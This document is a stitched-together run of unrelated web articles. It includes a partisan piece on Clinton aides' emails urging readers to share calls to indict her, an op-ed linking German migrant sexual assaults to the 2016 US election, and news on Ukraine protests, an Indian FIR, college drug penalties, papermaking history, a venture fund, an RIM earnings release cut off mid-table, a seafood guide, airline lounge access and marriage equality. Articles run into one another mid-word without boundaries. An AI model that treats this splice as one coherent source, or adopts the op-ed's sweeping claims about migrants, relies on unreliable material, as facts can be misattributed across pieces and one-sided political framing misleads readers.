On December 6, 2010, Secretary Clinton shared classified information with non-U.S. government employees Justin Cooper, then-aide to President Clinton who helped manage Hillary Clinton’s unsecure email system, and Clinton Foundation director Doug Band (neither of whom held security clearances). The email instructs her aide Oscar Flores to “print for Bill” (presumably Bill Clinton). The email exchange, which involved allegations of the theft of foreign aid by Bangladeshi banker and major Clinton Foundation donor Muhammad Yunus, started with an email from an unidentified person to State Department official Melanne Verveer, who forwarded her exchange on to Hillary Clinton, who then sent it on to Flores, Cooper and Band.
Yunus was accused of embezzling $100 million from the Grameen Bank he founded and was removed from it, although the charges were never proven, and Yunus reportedly returned the money. Subsequently, Clinton’s State Department was accused of threatening IRS action against the Bangladesh prime minister’s son in an attempt to stop a Bangladesh government investigation of Yunus.
In a similar instance on March 14, 2011, State Department official Maria Otero emailed Clinton information about the Grameen Bank/Foundation that was again deemed classified as Confidential by the State Department and redacted under FOIA exemption B1.4(D) – “Information specifically authorized by an executive order to be kept secret in the interest of national defense or foreign policy … Foreign relations or foreign activities of the United States, including confidential sources.” Clinton then responds to Otero using her [email protected] account and copies Abedin on Abedin’s unsecure email account, [email protected]
In May 2010, Ben Ringel, whose donations to the Clinton Foundation Judicial Watch previously documented, asked Abedin to intervene in an employment dispute on behalf of a USAID employee. Abedin agreed, telling Ringel to forward the woman’s documents to her official State Department email account.
In a May 21, 2011, email exchange sent to Abedin’s unsecure account, then- Ambassador Princeton Lyman sent information relating to his conversation with South Sudan President Salva Kiir Mayardit that is also redacted and classified as “Confidential.”
On July 17, 2012, Abedin forwarded to her private email account for printing a call briefing sheet for Clinton’s upcoming call with Joint Special Envoy Kofi Annan, which was classified Confidential and redacted under FOIA exemption B1.4(D).
The new Abedin emails also reveal additional instances in which Clinton’s then- scheduler Lona Valmoro forwarded the former secretary of state’s detailed daily schedule to top Clinton Foundation officials.
SHARE on Facebook and Twitter if you agree that it’s time to indict Hillary Clinton!
#If the American Left’s newfound concern for protecting female virtue is to be believed, one would think that the violence and sexual assault plaguing Germany might elicit greater concern than the lewd talk of Donald Trump and accusations of unwanted advances leveled by women. But it does not. Rather, anyone who suggests such a thing is apt to be dismissed as “scary.”
“Scary”? Why? What’s being insinuated here? That the very thought of wanting to avoid what is happening in Germany is “racist”? “Xenophobic”? “Islamophobic”? Or is the growing influence of these politically correct sensibilities, in Germany and here, what is truly “scary”?
A Real “War on Women”
Germany professes to care deeply about gender equality but, at the same time, does little to ensure the safety of its women. In August 2015, Chancellor Angela Merkel announced that Germany would put no limit on the number of asylum-seekers it would accept from Syria. Over a million—mostly Muslim—migrants flooded into the country. Their arrival has accelerated incidents of violence which have become, in recent years, increasingly regular features of European life—e.g. terror attacks, sexual assaults, and honor killings.
In July, for example, a 17-year old axe and knife wielding Afghan asylum-seeker shouting “Allahu Akbar” hacked five people riding a train in Wuerzburg; a 27-year old Syrian asylum-seeker pledging allegiance to Abu Bakr al-Baghdadi, the leader of ISIS, detonated a nail-packed suicide bomb outside a wine bar in Ansbach, injuring 15 people; and a 21-year old Syrian migrant wielding a machete killed a woman and injured two others at a fast food restaurant in Reutlingen.
These attacks plainly endanger men, women, and children. But German women and girls are paying an especially high price, enduring attacks which, in their very nature and scope, recall the dark days of Soviet occupation at the end of, and immediately after, World War II.
Most notably, last New Year’s Eve migrants from North Africa and the Middle East attacked revelers in Cologne. Though the men “pickpocketed and robbed males and females,” Heather Mac Donald reported, “they directed most of their violence against women: grabbing their breasts and buttocks, inserting their fingers into the women’s vaginas, and, in a few instances, raping them, while shouting sexual insults. A total of 653 victims filed reports with the police.”
Similar attacks were reported in 12 German states, including another 400 cases in the city of Hamburg. In July, Suddeutsche Zeitung, Germany’s largest paper, reported that leaked government documents indicate police now estimate 1200 women were assaulted by as many as 2000 men across Germany’s major cities. More chilling still, Germany’s minister of justice, Heiko Maas, later stated that these attacks appear to have been planned and coordinated in advance through social media.
What happened at New Year’s is now happening on a smaller scale in every German state with alarming frequency.
In July alone hundreds of German women and girls (but also some boys and older men), ranging in age from 9 to 79, were sexually attacked by migrants as they went about the most ordinary of activities. They were attacked on playgrounds and the street, in grocery stores, shopping malls, train stations, taxis, swimming pools, parks, public restrooms and even at a cemetery.
As disturbing as all this is, the subsequent response of German authorities is even more troubling. Merkel’s government could frankly acknowledge the source of the attacks and make policy changes designed, minimally, to forestall their increase. This is what Hungary has done. It has tightened restrictions on asylum-seekers and sought to strengthen its 110-mile border with Serbia by erecting a four meter high, razor-wire wall. (Bulgaria and Austria have also built walls.) But Merkel has steadfastly refused even to do this.
Concealing the Threat
Worse, German authorities are also deliberately concealing, whitewashing and otherwise downplaying the attacks.
Gatestone Institute Fellow Soeren Kern, cites a story published in the Bild newspaper, which quoted a high-ranking police official in Frankfurt saying:
“There are strict instructions from the top not to report offenses committed by refugees. Only direct requests from media representatives regarding specific crimes should be answered. … It is extraordinary that certain offenders are deliberately NOT being reported about and the information is being classified as confidential (nicht pressefrei).”
Rather than alerting the public to the danger, the police are taking the “extraordinary” step of concealing it. Moreover, as Kern notes, when the authorities do describe the assailants they only refer to them with oblique “politically correct euphemisms” like “’southerners,” “men with ‘dark skin,’” or “southern skin color.” They also, “almost invariably” downplay the attacks as “isolated incidents,” the work of lone wolves, rather than a problem national in scope.
But at least Germany is throwing the book at the perpetrators, right? Wrong. Most of the attackers are never even located. Of the few who are, very few have ever been convicted. According to Minister of Justice Maas, only 8 percent of rape trials result in convictions. Most assailants, moreover, will never be deported.
Last month, the German Parliament did finally pass “no means no” legislation designed to make it easier to punish sexual assaults and deport migrant offenders. Whether these laws actually deter further sexual violence will depend upon how vigorously they are enforced. But Germany’s recent track record is not encouraging. “When it comes to immigration,” Kern observes, “political correctness often overrides the rule of law in Germany where many migrants who commit sexual crimes are never brought to justice, and those who do stand trial receive lenient sentences from sympathetic judges.” Where the perpetrators are migrants and the victims are its own female citizens, in other words, the German judicial system shows greater solicitude for the migrants.
Silencing Critics
But there is one area in which Merkel’s government has energetically attacked the problem. Almost as soon as she announced her open door refugee policy, Merkel was overheard pressing Facebook’s Mark Zuckerberg to crack down on users posting “racist” and “xenophobic” comments. One might suppose Merkel’s concern with social media stems primarily from the way terrorist organizations have used it to foment and coordinate violent attacks on the German people. But, given her concern about “xenophobia,” Merkel seems at least as concerned about curbing Germans who use social media to criticize those who are attacking them.
In January, Facebook capitulated, and, with a truly Orwellian flourish, styled its new censorship program an “initiative for civil courage online.” (Censorship, it would seem, is about empowering people!) The aim of the new policy, Douglas Murray explains, “is to remove ‘hate speech’ from Facebook—specifically by removing comments that ‘promote xenophobia.’”
In May, the EU announced it too had reached agreement with Facebook, Twitter, YouTube and Microsoft to delete “hate speech” from their platforms. In a statement announcing the new policy, Vera Jourova, the EU Commissioner for Justice, Consumers and Gender Equality, reassuringly declared: “This agreement is an important step forward to ensure that the Internet remains a place of free and democratic expression, where European values and laws are respected.”
Those are fine words. A mere two days after the agreement was announced, however, Facebook deleted journalist Ingrid Carlqvist’s account where she had posted a short video, released under the auspices of the Gatestone Institute, in which she coolly explains the origin and magnitude of Sweden’s own appalling migrant rape epidemic. Watch the video and mark carefully the substance of the speech that was apparently deemed “xenophobic” and thereby cast out of Jourova’s vaunted “free and democratic discourse.”Astoundingly, not even a veritable epidemic of rape justifies criticism of migrants.
Facebook’s sanctioning of Carlqvist provoked considerable backlash. Unlike most users, Carlqvist has a degree of prominence. Although Facebook subsequently restored her account, it would be foolish to expect such a reserve to last long. Since the Spring, Maas and key members of Merkel’s CDU have continued to press Facebook and other social media outlets to censor posts more aggressively. “There is still too little, too slow and too often the wrong thing is deleted,” Haas complained in July. Facebook’s efforts fall “well short of what we agreed together in the task force[.]” In October, a key leader in Merkel’s CDU publicly declared Germany would begin imposing significant fines unless Facebook, Twitter, and other social networks police users more aggressively.
After failing to act to reduce the threat to which it exposed its own people, after failing to pursue, identify and prosecute its migrant offenders vigorously, Germany’s politically correct authorities are vigorously seeking to cut off their citizens’ access to the most effectual channel they have to publicize what is happening to them and to galvanize political redress. What else would Merkel have her female citizens do? “Relax and enjoy it”?
Coming to America?
All of which brings me back to Trump and the choice we face in November. Hillary Clinton is an ardent champion of the politically correct views that are wreaking such havoc in Germany. Trump’s “irredeemable” “basket of deplorables,” remember, contains “xenophob[es]” and “Islamophob[es].” Clinton has also promised to take Merkel-like steps with regard to Syrian refugees and on immigration policy more generally.
Whereas Clinton has called for increasing President Obama’s 2016 “target” for admitting 10,000 Syrian refugees to 65,000 annually, Trump wants to suspend immigration from Syria and Libya. Whereas Clinton declares that “we have to go back to being a much less harsh and aggressive enforcer” of immigration law, and favors a comprehensive reform package to provide a “full and equal pathway to citizenship” for illegal aliens, Trump favors building “an impenetrable physical wall” along the southern U.S. border—where, last year alone, more than 30,000 illegal immigrants from “countries of terrorist concern” entered—and subjecting those seeking legal admission to an “extreme vetting” process designed to ascertain whether they “share our values and love our people” and, more specifically, how they view women, gays and other minorities, honor-killings, and radical Islam.
Trump, for all of his supposed hatred of women, possesses an unusual, and desperately needed, willingness to challenge the PC orthodoxies and policy stances that have proven to be a real danger to German women, children, and men. Should we let the opportunity to elect such a man in America slip, it’s far from clear we will have another chance.Story highlights Masked men raid opposition party's headquarters, its leader says
Opposition leader Vitaly Klitschko urges police to stay calm
U.S. Vice President calls President Viktor Yanukovych, urging talks with opposition
Ukraine president supports proposal by a predecessor for "nationwide panel discussion"
Protesters in Ukraine remained defiant and continued their mass demonstration against President Viktor Yanukovych over the country's U-turn away from the European Union Monday, the same day masked men raided the headquarters of the opposition party Monday, according to opposition party leader Arseniy Yatsenyuk.
"Members of the special ops destroyed the entire server room," he said. "Equipment was destroyed, dragged out, across the entire premise of the Batkivshchyna Political Party headquarters." Police denied any involvement in the raid.
The raid happened after Yanukovych's announcement on his website that he would back a call for talks involving the opposition to work out a compromise.
With pressure growing, thousands remained on the streets of Kiev, some facing off with lines of Interior Ministry troops Monday evening near the presidential administration building. Minor scuffles broke out, but demonstrators were holding their ground as security forces began removing barricades.
Opposition leader and former heavyweight champion Vitaly Klitschko approached riot police and urged them to stay calm and "not break the law" should they be ordered to remove protesters.
"None of us has either guns nor other objects; this is a peaceful protest," he said.
U.S. Vice President Joe Biden entered the fray Monday with a phone call to Yanukovych in which he "expressed his deep concern about the situation in Ukraine and the growing potential for violence," according to a statement.
Biden said he urged Yanukovych to hold talks with the opposition.
Burning tires to stay warm
Faced with freezing temperatures as the bitter cold sets in, the protesters burned tires and sipped hot soup and tea to stay warm.
Some played soccer or strummed guitars as they camp out in tents. The crowds often swell in the evenings as people leave work and join the rallies.
As more police gathered on the streets, the demonstrators received a message of support from actor George Clooney.
"We here in the United States have great affinity for those seeking democracy," Clooney said in a video posted online.
"We learned through trial and error that true democracy cannot exist without a free and fair and honest election."
The actor, who has lent his voice to campaigns for various issues in the past, added: "Let me just say this to all of you in the square in Kiev or all around Ukraine: When you look to the West, know that we are looking back at you with great admiration."
Populist movement
The protests began when Kiev refused a deal with the European Union, opting instead for closer ties with neighbor Russia.
It has grown into a populist movement, the biggest the Eastern European country has seen since the so-called Orange Revolution toppled the government nine years ago.
"The government and opposition should hold talks to solve this. It has gone too far, it might result in conflict," Vysotsky said. "We do not want a conflict."
European Commission President Jose Manuel Barroso said EU foreign policy chief Catherine Ashton would travel to Kiev on Tuesday to try to "bring some solutions to the very tense situation that Ukraine is living today."
Speaking at a conference in Milan, Italy, Barroso said he had spoken with Yanukovych by phone Sunday.
"I asked him to show restraint in the face of these recent developments, to not use force against the people that are demonstrating peacefully, to respect fully the freedoms that are so important for all of us in Europe," he said.
U.N. Secretary-General Ban Ki-moon called Yanukovych on Sunday and told the Ukrainian President that he had "grave concern" about the situation, urging authorities not to resort to violence. Yanukovych told the U.N. chief that "consultations would be initiated to defuse the situation," the United Nations said.
East vs. West
The protesters say an EU agreement would have opened borders to trade and set the stage for modernization and inclusion. They accuse Yanukovych, who met Russian President Vladimir Putin on Friday, of preparing to take the country into a Moscow-led customs union.
The tensions tugging at the country are felt across the nation -- Ukraine is split between pro-European regions in the west of the country and a more Russia-oriented east.
One of the main reasons for Yanukovych's decision to backpedal on the EU talks is Russia's threat of trade sanctions and gas bill hikes. Yanukovych was also under pressure by the EU to free Tymoshenko, his jailed chief political opponent.
The Orange Revolution that swept him from office in 2004, when he was Prime Minister, also swept Tymoshenko to power.
Tymoshenko was sentenced to seven years in prison in 2011 after being convicted of abuse of authority over a natural gas deal negotiated with Russia in 2009. The United States and Europe see the punishment as politically motivated.
Many of the protesters have carried her picture in Independence Square during the rallies.
"This is the end of Soviet occupation," the party's Twitter account said. "End of (the) regime of shame and humiliation."J anata Party chief Subramanian Swamy on Tuesday filed an FIR in New Delhi against United Progressive Alliance chairperson Sonia Gandhi and members of the National Advisory Council' (which is headed by Gandhi) 'for committing offences of propagating hate against the Hindu community by circulating for enacting as law a draft bill described as Prevention of Communal and Targeted Violence Bill, 2011.'
In his complaint Swamy said that the 'draft bill is mischievous in content of targeting the Hindu community, malafide, unreasonable and prejudicial to public order, is apparent from the second section of explanatory note to the draft bill titled "Key Provisions of the Bill", thereby inciting crimes against the Hindu community with impunity, and thus committing offences under section 153A & B, 295A and 505(2) of the Indian Penal Code.'
Swamy noted that when the draft bill was introduced in 2005, 'it did not find much support from any of the political parties', as they felt it 'provided sweeping powers to the central government thus undermining the authority of the state governments.'
Please click NEXT to read further...For many, experimenting with drugs is part of college. But, the penalties of getting caught may be more severe than at any other time in their lives.
According to the U.S. Department of Education, students convicted of a drug-related felony or misdemeanor can lose their financial aid for a period of time, depending on the charge and previous offenses. Possession of illegal drugs can lead to a year or more of ineligibility, depending on the number of offenses.
Convictions for drug distribution carry steeper penalties. The first conviction results in two years of ineligibility, and subsequent offenses can bring indefinite ineligibility unless a student completes a drug rehabilitation program, passes two drug tests or has a conviction voided.
“It’s a huge penalty,” acknowledges Mary Beth Mackin, University of Wisconsin-Whitewater dean of students.
Mackin says UW-Whitewater’s policy is to suspend students caught selling drugs on campus. According to UW System’s administrative code, any suspension applies to all UW System schools and can last up to two years. Students cannot be present on any UW campus without written consent.
Students may also reach a settlement with the administration to shorten the suspension by participating in drug counseling, Mackin says. Otherwise, they can request a disciplinary hearing.
Even if a student avoids a criminal conviction, he or she may still be suspended because selling drugs is a violation of the university’s code of conduct, she says.
Sean Kirkby / Wisconsin Center for Investigative Journalism
Mackin says she works with students and their families to ensure those who are suspended can continue their studies by completing transferable credits at a community college or private institution.
“I would like students to remain engaged and productive and to understand that this is not an end to your dreams,” Mackin says. “It’s just a bump in the road.”
But Stephen Richards, a UW-Oshkosh professor of criminal justice, says a felony drug conviction could hurt these chances. Other colleges may refuse to admit students with a criminal record. Given that such cases are listed on the state’s online court database, the student also may have a hard time getting a job or an apartment, Richards says.__A.D. 105: __The eunuch Tsai Lun shows his "invention" of paper to the Han emperor of China.
Recent archaeological evidence shows that people in northwestern China were making paper in the two centuries before its formal introduction at court. But Tsai (or Cai) is notable for refining the process, experimenting with new materials and founding the Chinese paper industry.
The first Chinese paper was apparently made from a mash of sodden hemp waste, beaten to a pulp and stretched over a cloth sieve in a bamboo frame. Tsai made his pulp from bamboo fibers and the inner bark of the mulberry tree. He also worked with bark from other trees, as well as scraps of hemp, linen rags and even fishnets.
The emperor, Ho Ti (or He Di), promoted Tsai, who became wealthy. But the inventor of paper (on paper, at least) eventually got involved in palace intrigue and ended his life by drinking poison.
Chinese emperors made paper a tool for imperial administration and the diffusion of knowledge. It was a lighter alternative to heavy pages made of bamboo, and far less expensive than pages made from silk. Further Chinese advances in papermaking included a quick-release mold to improve the speed of production, the use of starch as sizing (filler or glaze) and a combination yellow dye and insect repellent.
Papermaking was a secret process until it spread to Korea in the sixth century, thence to Japan in the seventh. The technology spread to Tibet and Central Asia. Then Arabs captured some Chinese papermakers in 751, and the formerly secret process reached the Middle East. Arab scholars preferred linen paper to the sheepskin or calfskin parchment that was then in use. Paper continued its westward spread, and the first paper mill in Europe was built in 1150.
Sources: Various
Paper Is the New Silicon
E-Paper's Killer App: Packaging
Who Needs Paper? Not Iowa College
Paper Still Rules Paperless World
Microsoft: Paper Is Dead
March 11, 1864: Great FloodVenture fund Urban.us is gearing up to close a $10 million fund to continue investing in startups focused on impacting urban city living across mobility and logistics, environment, utilities and local government. Urban.us expects to close the fund later this year, but it has already committed some of that money to smart irrigation startup Rachio, FutureMotion, the maker of electric board OneWheel, and connected heating and cooling systems startup Flair.
Urban.us’s first fund was $1.3 million, which it divvied up amongst 20 startups relatively equally. Other startups in Urban.us’s portfolio include HandUp, BRCK, dash, Revivn and Skycatch. The goal of the first fund was to help get companies from the pre-seed to Series A round. With Urban.us’s second fund, the idea is to provide follow-on investments to the some of the companies that have shown growth and achieved measurable public benefits.
“We believe climate change is the biggest challenge we’re going to face as a society,” Urban.us co-founder Stonly Baptiste told TechCrunch. “And we see cities as one of the key mechanisms for efficiency to impact what that trajectory looks like.”
Cities account for roughly 70% of greenhouse gas emissions across the world, according to the United Nations-Habitat, the UN’s program for urban development. By 2050, urban populations are expected to double and therefore increase the overall gas emissions coming from cities. That’s why Urban.us invests in companies that have the potential to rapidly scale and positively impact approximately 100 cities within five years.
“This idea of making the world a better place is very broad, but it normally tips on the scale of sacrifice,” Baptiste said. “Like, what can you do personally to help the situation is usually looked at, ‘what can you sacrifice?'”
That’s why Baptiste especially likes OneWheel, because it highlights the concept of sneaking in public benefits. OneWheel is both fun and useful, Baptiste said, but at the tail end of it, there’s a big public benefit. If more people choose to get around on small, personal electrical vehicles like the OneWheel, it could impact the number of people driving, Baptiste said, and ultimately impact CO2 emissions from cities.
“If we can start changing the conversation from there is a separation between doing good and making a profit, or a separation between doing your part and actually enjoying your life, if we can heal that and help people realize you can do both, then great,” Baptiste added.WATERLOO, ONTARIO--(Marketwire - March 29, 2012) - Research In Motion Limited (RIM) (NASDAQ:RIMM)(TSX:RIM), a world leader in the mobile communications market, today reported fourth quarter results for the three months and fiscal year ended March 3, 2012 (all figures in U.S. dollars and U.S. GAAP, except where otherwise indicated).
The 4th quarter results are in! Read the full press release below, and stay tuned for our live blog of the earnings call coming up in just a bit. You can tune in to the earnings call live here.
Revenue for the fourth quarter of fiscal 2012 was $4.2 billion, down 19% from $5.2 billion in the previous quarter and down 25% from $5.6 billion in the same quarter of fiscal 2011. The revenue breakdown for the quarter was approximately 68% for hardware, 27% for service and 5% for software and other revenue. During the quarter, RIM shipped approximately 11.1 million BlackBerry smartphones and over 500,000 BlackBerry PlayBook tablets.
"I have assessed many aspects of RIM's business during my first 10 weeks as CEO. I have confirmed that the Company has substantial strengths that can be further leveraged to improve our financial performance, including RIM's global network infrastructure, a strong enterprise offering and a large and growing base of more than 77 million subscribers. I'm very excited about the prospects for the BlackBerry 10 platform, which is on track for the latter part of calendar 2012. Notwithstanding these strengths and opportunities, the business challenges we face over the next several quarters are significant and I am taking the necessary steps to address them," said Thorsten Heins, President & CEO of Research In Motion. "In addition to delivering the BlackBerry 10 platform and refocusing resources on RIM's key opportunities, such as BlackBerry Mobile Fusion and new integrated service offerings, we will also drive greater operational performance through a variety of initiatives including increased management accountability and process discipline. In parallel, we are undertaking a comprehensive review of strategic opportunities including partnerships and joint ventures, licensing, and other ways to leverage RIM's assets and maximize value for our stakeholders."
The Company's GAAP net loss for the fourth quarter of fiscal 2012 was $125 million, or $0.24 per share diluted, compared with GAAP net income of $265 million, or $0.51 per share diluted, in the prior quarter and GAAP net income of $934 million, or $1.78 per share diluted, in the same quarter of fiscal 2011. Adjusted net income for the fourth quarter was $418 million, or $0.80 per share diluted. Adjusted net income and adjusted diluted earnings per share for the fourth quarter exclude the impact of pre-tax charges of $355 million which are predominantly non-cash ($346 million after tax) for the impairment of goodwill and $267 million ($197 million after-tax) for an inventory provision taken primarily on certain BlackBerry7 products. These charges and their related impacts on GAAP net income and diluted earnings per share are summarized in the tables below.
Reconciliation of GAAP gross margin, gross margin percentage, net income and diluted EPS to adjusted gross margin, gross margin percentage, net income and diluted EPS:
(United States dollars, in millions except per share data)
For the quarter ended March 3, 2012
Gross Margin(1) (before taxes) Gross Margin %(1)(before taxes) Net Income or (Loss) Diluted EPS
As reported $ 1,401 33.4 % $ (125 ) (0.24 )
Adjustments:
Impairment of Goodwill(2) - - 346 0.66
Inventory Provision(3) 267 6.4 % 197 0.38
Adjusted $ 1,668 39.8 % $ 418 $ 0.80
Note: Adjusted gross margin, adjusted net income and adjusted diluted earnings per share do not have a standardized meaning prescribed by GAAP and thus are not comparable to similarly titled measures presented by other issuers. The Company believes that the presentation of adjusted gross margin, adjusted gross margin percentage, adjusted net income and adjusted diluted earnings per share enables the Company and its shareholders to better assess RIM's operating results relative to its operating results in prior periods and improves the comparability of the information presented. Investors should consider these non-GAAP measures in the context of RIM's GAAP results.
(1) During the fourth quarter of fiscal 2012, the Company reported GAAP gross margin of $1.4 billion or 33.4% of revenue. Excluding the impact of charges primarily related to inventory valuation of certain BlackBerry 7 products, the adjusted gross margin was $1.7 billion, or 39.8% of revenue.
(2) Subsequent to the fourth quarter of fiscal 2012, the Company performed a goodwill impairment test and based on the results of that test, the Company recorded a non-cash pre-tax goodwill impairment charge of $355 million, $346 million after tax.
(3) During the fourth quarter of fiscal 2012, the Company recorded a pre-tax provision of approximately $267 million, $197 million after tax, which was mostly non-cash, primarily related to its inventory valuation of certain BlackBerry 7 products.
The total of cash, cash equivalents, short-term and long-term investments was $2.1 billion as of March 3, 2012, compared to $1.5 billion at the end of the previous quarter, an increase of approximately $610 million from the prior quarter. Cash flow from operations in Q4 was approximately $1.1 billion, up from $900 million in Q3. Uses of cash included intangible asset additions of approximately $260 million and capital expenditures of approximately $190 million.
Fiscal 2012 Results
Revenue for the fiscal year ended March 3, 2012 was $18.4 billion, down 7% from $19.9 billion in fiscal 2011. The Company's GAAP net income for fiscal 2012 was $1.2 billion, or $2.22 per share diluted, compared with GAAP net income of $3.4 billion, or $6.34 per share diluted in fiscal 2011. Adjusted net income for fiscal 2012 was $2.2 billion, or $4.20 per share diluted. Adjusted net income and adjusted diluted earnings per share for fiscal 2012 exclude the adjustments described above as well as the impact of pre-tax charges of $54 million ($40 million after tax) to revenue related to the service interruption experienced in the third quarter, $485 million ($356 million after tax) for the PlayBook inventory provision taken in the third quarter and $125 million ($96 million after tax) for the Company's cost optimization program that was implemented in the second quarter of fiscal 2012. These charges and their related impacts on GAAP net income and diluted earnings per share are summarized in the tables below.
Reconciliation of GAAP revenue, gross margin, gross margin percentage, net income and diluted EPS to adjusted revenue, gross margin, gross margin percentage, net income, and diluted EPS:
(United States dollars, in millions except per share data)
For the year ended March 3, 2012
Revenue (before taxes) Gross Margin(1) (before taxes) Gross Margin%(1) (before taxes) Net Income Diluted EPS
As reported $ 18,435 $ 6,579 35.7 % $ 1,164 $ 2.22
Adjustments:
PlayBook Inventory Provision(2) - 485 2. |
are Saying | How to Eat Ethically
Recipes | Home
How to Eat Ethically
A fish to avoid...Monkfish in the New Fulton Market, South Bronx. Ethical seafood guides and Web sites typically divide the fish in markets and on menus into best choices, good alternatives, and species to avoid. After a decade of fish eating, and a year and a half of visiting markets and reading menus worldwide, I've come to my own conclusions about what is sustainable. The following partial list, though compiled with reference to major seafood-choice guides, is a personal one, with commonly available species divvied up according to whether, and how often, I eat them. The italicized words summarize the issues associated with a species, and the figure in parentheses is its average trophic numberâits rank on the food chain between one and fiveâbased on its diet. With a few exceptions, the higher the number, the more likely a species is to be overfished, and the greater its risk of containing contaminants. You'll find the full list, along with complete explanations, in the appendix of Bottomfeeder.
No, Never
Bluefin tuna. Overfished. Mercury. (4.43)
Cod, Atlantic. Fished by pirate vessels. Bottom-trawled. (4.42)
Halibut, Atlantic. Mercury. Bottom-trawled. (4.53)
Chilean sea bass. Longlines, bottom-trawls. Mercury. Pirate vessels. (3.96)
Grouper. Longlined. Mercury. (3.60)
Monkfish...
Depends, Sometimes
Abalone. Illegally fished. (2.00)
Anchovy. Overfished. (3.11)
Catfish. Antibiotics. (3.87)
Clams. Dredged. (2.00)
Cod, Pacific. Trawled. (4.01)
Crab. (Blue crab, 2.60)
Haddock. (4.09)
Lobster...
Absolutely, Always
Arctic char; barramundi. (4.26; 4.35)
Halibut, Pacific. (4.13)
Herring. (3.23)
Jellyfish. (2.00)
Mackerel. (3.65)
Mullet. (2.13)
Oysters, mussels... and many more.
Sustainable Seafood Web Sites
www.seafoodwatch.org (or search for "Seafood Watch.") UNITED STATES
The Monterey Bay Aquarium's easy-to-use Seafood Watch card divides leading seafood species available in the United States into three columns: red for "Avoid," yellow for "Good Alternatives," and green for "Best Choices." You can download and print out wallet-sized regional guides (from the Northeast to Hawaii), or simply enter the name of a fish in their searchable database...
www.fishonline.org (or search for "FishOnline.") UNITED KINGDOM
The Marine Conservation Society (MCS), a British charity founded in 1977, has made its pocket Good Fish Guide available online; it divides leading seafood species available in Britain into "Fish to Avoid" and "Fish to Eat"...
www.seachoice.org (or search for "SeaChoice.") CANADA
Sustainable Seafood Canada, a coalition of conservation organizations (among them the David Suzuki Foundation and the British Columbia branch of the Sierra Club), has created the easy-to-use SeaChoice wallet card, which divides leading seafood species available in Canada into three columns: red for "Avoid," yellow for "Some Concerns," and green for "Best Choice"...
www.msc.org (or search for "Marine Stewardship Council")
This independent organization assesses capture fisheries (for wild-caught, as opposed to farmed, seafood) around the world...
www.fishbase.org (or search for "FishBase")
A fish can go by many names, and these aliases can be the bane of seafood buying. The Fisheries Centre at the University of British Columbia has created a searchable database, originally intended for scientists, of thirty thousand fish species worldwide...
www.iucnredlist.org (or search for "World Conservation Union")
This Switzerland-based conservation organization's Web site offers a searchable database of its red list of threatened species; think twice about buying marine species listed as "VU" (Vulnerable) and especially "EN" (Endangered) and "CR" (Critically Endangered)...
www.gotmercury.org (or search for "Got Mercury")
This simple calculator determines the amount of mercury you are getting from seafood. Enter the name of the fish, your weight, and the serving size, and the site will calculate the percentage of the safe weekly allowance of mercury you will be getting...
For more tips on eating ethically, including detailed descriptions of fishing gear, questions to ask your fishmonger, and a list of principles for choosing seafood, consult the Appendix of Bottomfeeder.EXCLUSIVE | Virgin Australia’s Velocity Gold frequent flyers will no longer enjoy airport lounge access at Los Angeles prior to Virgin's flights to Australia when travelling in premium economy or economy class.
It's a tough blow for travellers who are about to make the long overnight trek to Sydney, Brisbane and soon Melbourne, and follows last year's lounge access shake-up across the Virgin Australia network.
Velocity Gold-grade flyers have previously been able to rest up in the highly-rated Star Alliance business class lounge...
... but as of Wednesday January 11, 2017, they'll instead receive a US$40 (A$54) food and beverage voucher to spend within the LAX international terminal along with 10,000 Velocity frequent flyer points as additional 'compensation'.
As Gold members can bring one guest into an airport lounge, Virgin Australia will also issue a second US$40 voucher (but not a second serve of points) to Velocity Gold members travelling with a companion on the same flight.
Star cracks down on LAX lounge access
Australian Business Traveller understands that Star Alliance has pulled down the shutters on non-alliance use of the lounge due to an increase in Star Alliance airlines flying to Los Angeles and a subsequent boost in Star Alliance passenger numbers.
“Due to current capacity limitations in Los Angeles International Airport, our Gold members travelling in Economy or Premium Economy are currently unable to access a lounge prior to departure,” a Virgin Australia spokesperson confirmed to Australian Business Traveller today.
“We sincerely apologise to these guests," the spokesperson added. "This is a temporary situation and we are working on a solution as a priority."
It’s also understood that capacity at the Etihad Airways First and Business Class Lounge available to Velocity Platinum members and Virgin Australia business class guests is also at a premium, as is space in the terminal’s other lounges in the evenings when Virgin Australia’s flights depart.
All of the airline’s business class passengers (including those with Velocity Gold status), plus Velocity Platinum and The Club frequent flyers travelling in premium economy or economy can continue to relax in the combined Etihad Airways First and Business Class Lounge.
In addition, Velocity Gold and Platinum members will still receive access to the Delta Sky Club lounge in LA’s Terminal 5 prior to flights with Delta (including to Sydney), and the Star Alliance business class lounge prior to flights with Air New Zealand (including to Auckland).
Other options for Velocity Gold flyers in Los Angeles
Stuck out in the terminal under these lounge changes? You may have other options, depending on which credit cards you hold and if you’re a member of a paid international lounge program.
For instance, some premium cards such as the American Express Platinum Charge Card include a complimentary and unlimited Priority Pass airport lounge membership, which you can use to access the Korean Air business class lounge at LAX prior to your Virgin Australia flight.
Other cards like the Westpac Altitude Black AMEX + MasterCard duo also feature a complimentary Priority Pass membership but with two single lounge visits included rather than a year-round pass, which you could too use to visit the Korean Air lounge.
Korean Air’s lounge also welcomes Airport Angel, Lounge Club and Dragonpass lounge members travelling from Los Angeles with any airline in any class of service, along with Australian Diners Club charge card holders: simply present your Diners card at reception for complimentary access.
Later this year, Virgin Australia will also move its Los Angeles flights from the Tom Bradley International Terminal to LAX Terminals 2 and 3 to coincide with a move by alliance partner Delta Air Lines, where it’s hoped that new Delta Sky Club lounges will welcome all lounge-eligible flyers.
Also read:
Join other AusBT readers talking about Virgin Australia in our dedicated Virgin Australia discussion groupHillary Clinton's Rainbow Logo Leads Politicians Proclaiming 'Love Can't Wait'
The presumptive Democratic candidate for president went over the rainbow to call on the Supreme Court to embrace marriage equality nationwide.
As the Supreme Court begins hearing oral arguments in the landmark case that could bring marriage equality to all 50 states, politicians and activists are lighting up social media, encouraging the court to stand on the right side of history.
The Human Rights Campaign is urging marriage equality supporters to show that it's time for marriage equality nationwide by using the hashtag #LoveCantWait, while another hashtag, #LoveMustWin, was also picking up steam as the court sat down to hear arguments shortly after 10 a.m. Eastern.
Democratic presidential hopeful Hillary Clinton — the only currently declared candidate for president who supports marriage equality — reiterated her support with a tweet Tuesday morning that included both pro-equality hashtags:
Every loving couple & family deserves to be recognized & treated equally under the law across our nation. #LoveMustWin #LoveCantWait –H — Hillary Clinton (@HillaryClinton) April 28, 2015
Virginia's Attorney General Mark Herring, who announced last year that he and Democratic Gov. Terry McAuliffe would not defend their state's ban on same-sex marriage, was outside the Supreme Court in Washington, D.C., this morning, and filed these tweets:
